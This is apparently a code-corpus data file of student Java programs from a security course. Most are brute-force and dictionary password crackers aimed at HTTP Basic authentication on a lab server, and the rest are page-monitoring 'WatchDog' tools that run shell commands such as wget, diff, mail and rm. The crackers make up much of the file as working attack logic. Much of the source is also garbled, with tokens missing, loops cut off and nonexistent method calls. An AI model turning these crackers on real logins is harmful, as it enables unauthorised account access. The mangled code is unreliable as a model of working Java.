url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1""); urlConnection.setRequestProperty(""Host"", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + "":"" + password; urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print(""\b \b""); else System.out.print(""\b\b\b.""); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 3){ System.out.println(""usage: java attacks.Dictionary ""); System.exit(1); } Dictionary dictionary1 = new Dictionary(args[0], args[2]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println(""Cracking started at: "" + cal1.getTime().toString()); String password = dictionary1.crackPassword(args[1]); if(password != null) System.out.println(""\nPassword is: ""+password); else System.out.println(""\nPassword could not retrieved!""); cal2 = Calendar.getInstance(); System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); System.out.println(""Total attempts : "" + dictionary1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }" 245.java," import java.*; import java.io.*; import java.text.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class WatchDog { public static void main(String[] args) throws IOException { String host = ""http://www.cs.rmit.edu./students/""; String outFilename = null; String diffFilename = null; String email = ""@cs.rmit.edu.""; String subject = null; String message = ""msg""; String mutt = null; List currentList = new ArrayList(); List previousList = new ArrayList(); List diffList = new ArrayList(); String line = null; String previousLine = null; String diffLine = null; int sleepTime = 1000 * 60 * 60 * 24; SimpleDateFormat format = new SimpleDateFormat(""yyyyMMddkmm""); Date currentDate = null; int c=0; { try { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); InputStream webIn = httpConnect.getInputStream(); BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) ); currentDate = null; currentDate = new java.util.Date(); String dateString = format.format(currentDate); outFilename = ""watch_"" + dateString; File outputFile = new File(outFilename); FileWriter out = new FileWriter(outputFile); diffFilename = ""diff_"" + dateString; File diffOutputFile = new File(diffFilename); FileWriter diffOut = new FileWriter(diffOutputFile); line = """"; while (( line = webReader.readLine()) != null ) { currentList.add(line + ""\n""); } webReader.close(); Iterator iter = currentList.iterator(); line = """"; previousLine = """"; diffLine = """"; int l=0; int d=0; while (iter.hasNext()) { line = String.valueOf(iter.next()); out.write(line); if (!previousList.isEmpty()) { try { previousLine = String.valueOf(previousList.get(l)); if (line.compareTo(previousLine)==0) { } else { diffLine = ""Line "" + (l+1) + "" has changed : "" + line; diffOut.write(diffLine); d++; } } catch (Exception e) { diffLine = ""Line "" + (l+1) + "" has been added: "" + line + "" \n""; diffOut.write(diffLine); d++; } } l++; } out.close(); diffOut.close(); previousList.clear(); previousList.addAll(currentList); currentList.clear(); diffList.clear(); if (d>0) { subject = ""WatchDog_"" + dateString; mutt = ""mutt -a "" + diffFilename + "" -s "" + subject + "" "" + email; System.out.println(""The webpage has changed.""); Runtime rt = Runtime.getRuntime(); rt.exec(mutt); System.out.println(""Email sent "" + email + "" at "" + dateString); } else if (c>0) { System.out.println(""Webpage checked at "" + dateString + "" and changes were found""); } } catch(MalformedURLException e) { System.out.println(""Opps, the URL "" + host + "" is not valid.""); System.out.println(""Please check the URL and try again.""); System.exit(0); } catch(IOException e) { System.out.println("", 't connect "" + host + "".""); System.out.println(""Please check the URL and try again.""); System.out.println(""Other possible causes include website is currently unavailable""); System.out.println("" I have a problem writing .""); System.exit(0); } try { Thread.sleep(sleepTime); } catch (Exception e) { } c++; } while(true); } }" 142.java,"import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() { } public static void main(String[] args) { try { if (args.length != 3 ) { System.out.println(""Usage: java BruteForce ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyDictionary (args[0], args[1], args [2]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyDictionary (String URL, String UserName, String strUrlDictionary) { String strPass = """"; try { FileInputStream fIn = new FileInputStream ( strUrlDictionary ); DataInputStream dtIn = new DataInputStream ( fIn ); System.out.print(""\n\n\n Applying Dictionary Attack: ""); while (dtIn.available() > 0) { strPass = dtIn.readLine(); if (strPass.length() != 3) continue; System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { dtIn.close(); fIn.close(); return strPass; } } dtIn.close(); fIn.close(); } catch (Exception e) { e.printStackTrace(); } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } " 003.java,"import java.io.*; import java.util.*; import java.net.*; import java.net.Authenticator; public class BruteForce { private String result =""""; public class customAuthenticator extends Authenticator { public customAuthenticator(String passwd) { this.pass = passwd; } protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("""",pass.toCharArray()); } public String pass; } public BruteForce() { java.util.Date d = java.util.Calendar.getInstance().getTime(); System.out.println(d.toString()); char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String record = null; String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; char pass[] = {'x','x','x'}; int count=1; String passwd=new String(); HttpURLConnection connection = null; URL u = null; try { u = new URL(url); } catch (MalformedURLException e) { } for(int a=0;a> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + ""\r\n""; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) ((bytes[i+1] & 15) << 2); tmp = tmp + baseTable.charAt(pos); tmp = tmp + ""=""; } else if(bytes.length % 3 == 1) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) ((bytes[i] & 3) << 4); tmp = tmp + baseTable.charAt( pos ); tmp = tmp + ""==""; } } return tmp; } public static String encode(String src) { return encode(src.getBytes()); } public static byte[] decode(String src) throws Exception { byte[] bytes = null; StringBuffer buf = new StringBuffer(src); int i = 0; char c = ' '; char oc = ' '; while( i < buf.length()) { oc = c; c = buf.charAt(i); if( oc == '\r' && c == '\n') { buf.deleteCharAt(i); buf.deleteCharAt(i-1); i -= 2; } else if( c == '\t') { buf.deleteCharAt(i); i --; } else if( c == ' ') { i --; } i++; } if(buf.length() % 4 != 0) { throw new Exception(""Base64 decoding invalid length""); } bytes = new byte[3 * (buf.length() / 4)]; int index = 0; for(i = 0; i < buf.length(); i+=4) { byte data = 0; int nGroup = 0; for(int j = 0; j < 4; j++) { char theChar = buf.charAt(i + j); if(theChar == '=') { data = 0; } else { data = getBaseTableIndex(theChar); } if(data == -1) { throw new Exception(""Base64 decoding bad character""); } nGroup = 64*nGroup + data; } bytes[index] = (byte) (255 & (nGroup >> 16)); index ++; bytes[index] = (byte) (255 & (nGroup >> 8)); index ++; bytes[index] = (byte) (255 & (nGroup)); index ++; } byte[] newBytes = new byte[index]; for(i = 0; i < index; i++) { newBytes[i] = bytes[i]; } return newBytes; } protected static byte getBaseTableIndex(char c) { byte index = -1; for(byte i = 0; i < baseTable.length(); i ++) { if(baseTable.charAt(i) == c) { index = i; break; } } return index; } }" 031.java," import java.io.*; import java.util.*; public class WatchDog { private static String userid; public static void main(String args[]) { if (args.length != 1) { System.out.println(""Please provide the Username mail the possible differences.""); System.exit(0); } else userid = args[0]; while(true) { try { WatchDog wd = new WatchDog(userid); Thread.sleep(1000); } catch (InterruptedException i ) { i.printStackTrace(); System.exit(-1); } catch (Exception e) { e.printStackTrace(); System.exit(-1); } } } public WatchDog(String userid) { checkFileChanges(userid); } private void checkFileChanges(String userid) { try { Process p = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/""); Thread.sleep(1000); p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 > diff.txt""}); Thread.sleep(10000); if (isFileChanged() == true) { System.out.println(""Result: Difference found in . Check your Pine for details""); mailFileChanges(userid); recordFileChanges(); } else { System.out.println(""Result: Difference found in ""); recordFileChanges(); } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException ioe) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } } private void recordFileChanges() { try { Process p = Runtime.getRuntime().exec(""mv index.html.1 index.html""); Thread.sleep(1000); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException oie) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } } private void mailFileChanges(String userid) { try { Process p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 | mail "" + userid + ""@cs.rmit.edu.""}); Thread.sleep(1000); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException ioe) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } } private boolean isFileChanged() { try { FileInputStream fIn = new FileInputStream (""diff.txt""); DataInputStream di = new DataInputStream (fIn); Thread.sleep(1000); if( di!= null) { String str = di.readLine(); if(str!=null) return true; else return false; } } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(-1); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } catch (InterruptedException ioe) { ioe.printStackTrace(); System.exit(-1); } catch (Exception exp) { exp.printStackTrace(); System.exit(-1); } return false; } } " 201.java," import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String(""sec-crack.cs.rmit.edu.""); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String(""/SEC/2/""); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println(""'t find host""); }catch( IOException e) { System.out.println(""Error connecting host ""+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println(""'t open stream""); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println(""'t open stream""); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization: ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n""); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println(""'t open stream""); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, "" ""); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println(""Ok ""+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println(""'t open stream""); } try { s.connect(); }catch( IOException e) { System.out.println(""'t connection""); System.exit(0); } } public getTime() { return myTime; } } " 168.java," package java.httputils; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.Observable; import java.util.Observer; public class BruteForceThreadPool extends ThreadGroup implements Observer { protected String URL = ""http://localhost:8080/secret/index.html""; protected int poolSize = 6; protected Collection threadList = new ArrayList(); protected String fileName = ""BruteForceReport.txt""; protected boolean finished = false; protected String userName = """"; public BruteForceThreadPool(String name) { super(name); } public BruteForceThreadPool(ThreadGroup parent, String name) { super(parent, name); } public synchronized void update(Observable o, Object arg) { System.out.println(""Update method called the observer.""); RunnableBruteForce rbf = (RunnableBruteForce) o; rbf.createReport(); for (Iterator iter = threadList.iterator(); iter.hasNext();) { RunnableBruteForce target = (RunnableBruteForce) iter.next(); target.setStop(true); } finished = true; } protected void start(int threads) { int load = BruteForce.letters.length / threads; int remainder = BruteForce.letters.length % threads; for (int i = 0, end = ( + load); end < BruteForce.letters.length; i = end, end += load) { RunnableBruteForce runnable = new RunnableBruteForce(); runnable.setURL(getURL()); runnable.setRangeStart(); runnable.setUserName(userName); runnable.setRangeEnd( end + load > BruteForce.letters.length ? BruteForce.letters.length : end); runnable.addObserver(this); runnable.setFileName(getFileName()); threadList.add(runnable); } for (Iterator iter = threadList.iterator(); iter.hasNext();) { RunnableBruteForce target = (RunnableBruteForce) iter.next(); new Thread(target).start(); } } public static void main(String[] args) { BruteForceThreadPool pool = new BruteForceThreadPool(""BruteForceThreadGroup""); if (args.length < 4) { pool.printUsage(); return; } pool.setURL(args[0]); pool.userName = args[1]; pool.setFileName(args[2]); pool.get(Integer.parseInt(args[3])); while (true) { try { Thread.currentThread().sleep(100); if (pool.finished) { break; } } catch (InterruptedException e) { e.printStackTrace(); } } System.exit(0); } public String printUsage() { StringBuffer s = new StringBuffer(); s.append(""** BruteForceThreadPool proper usage **\n\n""); s.append( ""java ..httputils.BruteForceThreadPool < Of Threads = 6>\n\n""); return s.toString(); } public Collection getThreadList() { return threadList; } public void setThreadList(Collection collection) { threadList = collection; } public String getFileName() { return fileName; } public void setFileName(String string) { fileName = string; } public String getURL() { return URL; } public void setURL(String string) { URL = string; } public int getPoolSize() { return poolSize; } public void setPoolSize(int i) { poolSize = i; } } " 257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 196.java," import java.io.*; public class Dictionary { public static void main(String args[])throws Exception { String s = null; String pass=""""; int at=0; String strLine=""""; int i=0; BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); start =System.currentTimeMillis(); try { while((pass=strLine = in.readLine()) != null) { if(pass.length()==3) { System.out.println(pass); at++; Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""); p.waitFor(); i = p.exitValue(); if(i==0) { finish=System.currentTimeMillis(); float time=finish-start; System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" ); System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" ); System.exit(0); } BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); System.out.println(""Standard output of the command ""); while ((s = stdInput.readLine()) != null) { System.out.println(s); } System.out.println(""Standard error of the command ""); while ((s = stdError.readLine()) != null) { System.out.println(s); } } } System.exit(0); } catch (IOException e) { System.out.println(""Exception happened ""); e.printStackTrace(); System.exit(-1); } } }" 043.java,"import java.util.*; import java.io.*; import javax.swing.text.html.*; public class WatchDog { public WatchDog() { } public static void main (String args[]) { DataInputStream newin; try{ System.out.println(""ishti""); System.out.println(""Downloading first copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""}; String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""}; while(true){ Thread.sleep(24*60*60*1000); System.out.println(""Downloading new copy""); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( ""Diff.txt"")); if (newin.readLine() != null){ System.out.println(""Sending Mail""); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec(""cp newfile.html oldfile.html""); } } } catch(Exception e){ e.printStackTrace(); } } }" 252.java,"import java.net.*; import java.io.*; public class Dictionary { public static void main (String[] args) { String pwd = new String(); String userpwd = new String(); String reply = new String(); int i,j,k; int startTime, endTime,totalTime; URLConnection connectionObj; startTime = System.currentTimeMillis(); try { URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); BufferedReader file = new BufferedReader(new FileReader(""words"")); while ((pwd=file.readLine()) != null) { userpwd = bf.encode("""",pwd); connectionObj = urlObj.openConnection(); connectionObj.setRequestProperty(""Authorization"","" "" + userpwd); connectionObj.connect(); reply = connectionObj.getHeaderField(0); System.out.println(pwd); if (reply.compareTo(""HTTP/1.1 200 OK"")== 0) { endTime = System.currentTimeMillis(); totalTime= (endTime - startTime)/1000; System.out.println(""Total Time = "" + (totalTime) + ""seconds""); System.exit(0); } } } catch (MalformedURLException err) { System.out.println(err); } catch (IOException err) { System.out.println(err); } } }" 109.java,"import java.io.BufferedReader; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStreamReader; import java.util.Date; import java.util.Properties; import javax.mail.Message; import javax.mail.Session; import javax.mail.Transport; import javax.mail.Message.RecipientType; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; public class Mailsend { static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer""); static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient""); static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender""); static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader""); public static void main(String args[]) { try { String smtpServer = SMTP_SERVER; String recip = RECIPIENT_EMAIL; String from = SENDER_EMAIL; String subject = MESSAGE_HEADER; String body = ""Testing""; System.out.println(""Started sending the message""); Mailsend.send(smtpServer,recip , from, subject, body); } catch (Exception ex) { System.out.println( ""Usage: java mailsend"" + "" smtpServer toAddress fromAddress subjectText bodyText""); } System.exit(0); } public static void send(String smtpServer, String receiver, String from, String subject, String body) { try { Properties props = System.getProperties(); props.put(""mail.smtp.host"", smtpServer); props.put(""mail.smtp.timeout"", ""20000""); props.put(""mail.smtp.connectiontimeout"", ""20000""); Session session = Session.getDefaultInstance(props, null); Message msg = new MimeMessage(session); msg.setFrom(new InternetAddress(from)); msg.setRecipients(Message.RecipientType.NORMAL, InternetAddress.parse(receiver, false)); msg.setSubject(subject); msg.setSentDate(new Date()); msg.setText(body); Transport.send(msg); System.out.println(""sent the email with the differences : ""+ + ""using the mail server: ""+ smtpServer); } catch (Exception ex) { ex.printStackTrace(); } } } " 094.java," import java.net.*; import java.io.*; public class BruteForce{ private String passwd = """"; private String command = """"; private BufferedReader in; private PrintWriter out; private int startTime = 0; private int endTime = 0; private int totalTimes = 0; private boolean bfind = false; private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789.""; public BruteForce(){} public void doRequest(){ startTime = System.currentTimeMillis(); for(int i=0; i < str.length(); i++){ if(bfind) break; for(int j=0; j < str.length(); j++){ if(bfind) break; for(int k=0; k < str.length(); k++){ if(bfind) break; passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) +String.valueOf(str.charAt(k)); connection(passwd); } } } if(!bfind){ for(int i = 0; i < str.length(); i++){ if(bfind) break; for(int j = 0; j Establishing a connection.""); Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); in = new BufferedReader(new InputStreamReader(p.getInputStream())); String inStr; while((inStr = in.readLine())!= null){ if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ endTime = System.currentTimeMillis(); totalTimes = endTime - startTime; System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd); System.out.println(""Total Times is "" + totalTimes + "" milliSec""); System.out.println(""Writing it brutepswd.txt file\n""); out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt""))); out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); out.println(""Passwd: ""+ passwd); out.flush(); bfind = true; } out.print(); } in.print(); }catch(Exception e){System.out.println(e.getMessage());} } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String []args){ BruteForce bf = new BruteForce(); System.out.println(""\n*******************************************""); System.out.println(""* *""); System.out.println(""* BruteForce Crack Passwd Program *""); System.out.println(""* --------------------------------- *""); System.out.println(""* Author: *""); System.out.println(""* *""); System.out.println(""*******************************************""); System.out.println(""\n BruteForce Crack Passwd Information:\n""); System.out.println(""--> UserName: ""); System.out.println(""--> MaxPasswdLength: 3""); System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php""); System.out.println(""--> Alphabet: ""+ bf.str+""\n""); System.out.println(""==> Press Ctrl+C stop Crack\n""); System.out.print(""==> Press EnterKey : ""); try{ String key = bf.getAnyKey(); }catch(Exception e){System.out.println(e.getMessage());} bf.doRequest(); } }" 114.java," public class BruteForce { private Thread threads[]; private String strUsername; private String strURL; public BruteForce(String username, String url) { threads = new Thread[14]; strUsername = username; strURL = url; } public void crackStart() { int iOffset, i =0; iOffset = (52 * 52 * 52) / 14; CrackThread tmpCrack; for(i=0;i<14;i++) { tmpCrack = new CrackThread(); tmpCrack.setParams(strURL, strUsername, (i * iOffset), (i * iOffset + iOffset)); threads[i] = new Thread(tmpCrack); threads[i].print(); } } public static void main(String[] args) { BruteForce bf = new BruteForce("""", ""http://sec-crack.cs.rmit.edu./SEC/2/""); bf.crackStart(); } } " 233.java,"import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String line="" "" ; String line1="" "" ; String line2="" ""; String line3="" ""; String[] cad = new String[10]; executes(""./.sh""); int i=0; while ((line = buf.readLine()) != null) { line1=""http://www.cs.rmit.edu./students/images""+line; if (i==1) line2=""http://www.cs.rmit.edu./students/images""+line; if (i==2) line3=""http://www.cs.rmit.edu./students/images""+line; i++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+line1); executes(""wget ""+line2); executes(""wget ""+line3); String hash3 = md5sum(""index.html.2""); String hash4 = md5sum(""index.html.3""); String hash5 = md5sum(""index.html.4""); BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt"")); String linee="" "" ; String linee1="" "" ; String linee2="" ""; String linee3="" ""; executes(""./ip1.sh""); int j=0; while ((linee = buf2.readLine()) != null) { linee1=""http://www.cs.rmit.edu./students/images""+linee; if (j==1) linee2=""http://www.cs.rmit.edu./students/images""+linee; if (j==2) linee3=""http://www.cs.rmit.edu./students/images""+linee; j++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+linee1); executes(""wget ""+linee2); executes(""wget ""+linee3); String hash6 = md5sum(""index.html.5""); String hash7 = md5sum(""index.html.6""); String hash8 = md5sum(""index.html.7""); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes(""./difference.sh""); executes(""./mail.sh""); } else { if (pict || pict2 || pict3) { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail2.sh""); } executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail.sh""); executes(""./reorder.sh""); executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 5""); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } " 012.java,"import java.net.*; import java.io.*; import java.util.regex.*; import java.util.Date; import java.util.*; import java.text.*; public class WatchDog { public static BufferedReader in; public static int LIMITINMINUTES=60*24; public static int TIMELIMIT=LIMITINMINUTES*1000*60; public static void main(String[] args) throws Exception { String watchedPage = ""http://www.cs.rmit.edu./students/""; String currentPage = """"; System.out.println("" stop the program, press \""Alt + C\""""); boolean loggedout=false; while (!loggedout){ currentPage=""""; Date date = new Date(); startTime=date.getTime(); URL cs = new URL(watchedPage); HttpURLConnection connection; URLConnection csc = cs.openConnection(); try { BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { currentPage = currentPage+inputLine; } } catch (IOException s) { } finally { while(in!=null) in.next(); } String lastPage=readData(); if (lastPage.trim().equals(currentPage.trim())) { System.out.println(""Pages match, nothing email.""); } else { String checkCurrentPage = currentPage.trim(); String checkLastPage = lastPage.trim(); int iterations; boolean lastLongestString; if (checkCurrentPage.length()count && checkCurrentPage.length()>count){ if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) { if (count<20){ additions = ""Sorry changes together distinguish additions and subtractions . Here is where : ""+ checkCurrentPage.substring(count, checkCurrentPage.length()); count = iterations; } else { checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length()); checkLastPage=checkLastPage.substring(count, checkLastPage.length()); iterations=iterations-count; count=0; String regexAdd=""""; if (checkLastPage.length()<20){ regexAdd=checkLastPage.substring(count, 